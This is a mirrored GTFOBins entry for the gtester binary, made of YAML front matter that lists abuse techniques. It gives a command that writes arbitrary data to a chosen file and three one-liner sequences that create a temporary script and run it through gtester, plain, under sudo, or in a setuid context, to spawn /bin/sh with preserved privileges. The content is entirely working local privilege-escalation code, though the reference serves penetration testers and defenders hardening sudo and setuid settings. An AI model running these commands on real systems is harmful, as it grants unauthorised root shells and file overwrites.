mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-26 06:49:44 +01:00
30 lines
717 B
Markdown
30 lines
717 B
Markdown
---
|
|
functions:
|
|
file-write:
|
|
- description: Data to be written appears in an XML attribute in the output file (`<testbinary path="DATA">`).
|
|
code: |
|
|
LFILE=file_to_write
|
|
gtester "DATA" -o $LFILE
|
|
shell:
|
|
- code: |
|
|
TF=$(mktemp)
|
|
echo '#!/bin/sh' > $TF
|
|
echo 'exec /bin/sh -p 0<&1' >> $TF
|
|
chmod +x $TF
|
|
gtester -q $TF
|
|
sudo:
|
|
- code: |
|
|
TF=$(mktemp)
|
|
echo '#!/bin/sh' > $TF
|
|
echo 'exec /bin/sh 0<&1' >> $TF
|
|
chmod +x $TF
|
|
sudo gtester -q $TF
|
|
suid:
|
|
- code: |
|
|
TF=$(mktemp)
|
|
echo '#!/bin/sh -p' > $TF
|
|
echo 'exec /bin/sh -p 0<&1' >> $TF
|
|
chmod +x $TF
|
|
sudo gtester -q $TF
|
|
---
|